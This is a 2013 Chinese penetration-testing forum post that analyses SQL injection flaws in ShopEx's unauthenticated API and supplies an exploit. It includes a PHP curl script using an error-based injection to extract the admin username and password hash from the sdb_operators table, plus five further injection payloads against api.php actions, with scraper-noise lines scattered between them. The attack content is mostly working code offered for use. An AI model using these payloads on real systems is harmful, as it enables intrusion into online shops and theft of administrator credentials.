中国网络渗透测试联盟
标题:
shopEx最新版的API注入漏洞分析附利用exp
[打印本页]
作者:
admin
时间:
2013-7-27 18:34
标题:
shopEx最新版的API注入漏洞分析附利用exp
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
, n5 l, e: ]% w# @' |% S/ T- u
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
* t+ `" l! X+ _& U+ r8 C3 x
' j# a* X/ B# H, h) K, B
第44行 $data['columns'] 未做过滤导致注入
9 T, i$ r# p* ~: \5 e* j M
* m2 |5 i% a) C3 [0 b
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
0 v- D3 i' U0 m6 ^) r) q( x" ^
7 {& l. H* I! i! w5 A+ k3 Y
注射1:
7 W; b* \+ w* R1 ^9 N% B3 w& q. c
3 o) n5 e1 i( U2 g- f+ F4 p/ G
http://www.0day5.com/api.php
POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
( K, O% h1 [+ V- X m. ]
o1 Y/ n2 ~/ c% }; ~( C
注射2:
7 P: N6 X$ r$ ]9 N/ j6 y# D) h
http://www.0day5.com/shopex/api.php
act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
, I/ X0 E7 {! D7 L0 ^
, I2 B; \$ K& z* l# n
注射3:
6 |, o2 s( @8 O9 |/ ~
http://www.0day5.com/shopex/api.php
act=get_spec_single&api_version=3.1&spec_id=1 xxx
7 [: Q, @" v$ |) Y9 {. ?% r1 l
注射4:
b) ^0 q* F$ r8 t
' u5 c/ C: o5 i+ v+ x. I2 H
http://www.0day5.com/shopex/api.php
act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
+ D( T# r3 u" Q' ?
" V$ L3 [9 k2 s
: E. Q; g- Z/ m8 L* y+ n" K
注射5:
" }0 s& F$ ? z! x) m a
http://www.0day5.com/shopex/api.php
act=search_dly_h_area&return_data=string&columns=xxxxx
9 E1 D; e" R" h. }, v# u2 L
$ D1 l9 K Z/ m9 C: b* `0 |
' o# Q7 l8 d6 B* a2 ~
. D- A7 S1 j+ R: \+ p! y
6 r, B3 l! Y7 }0 f p! R1 L v' J
$ Q0 S. o; s8 X- D2 Y( {- Z
, E/ d6 _1 A# B- b' |" _
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2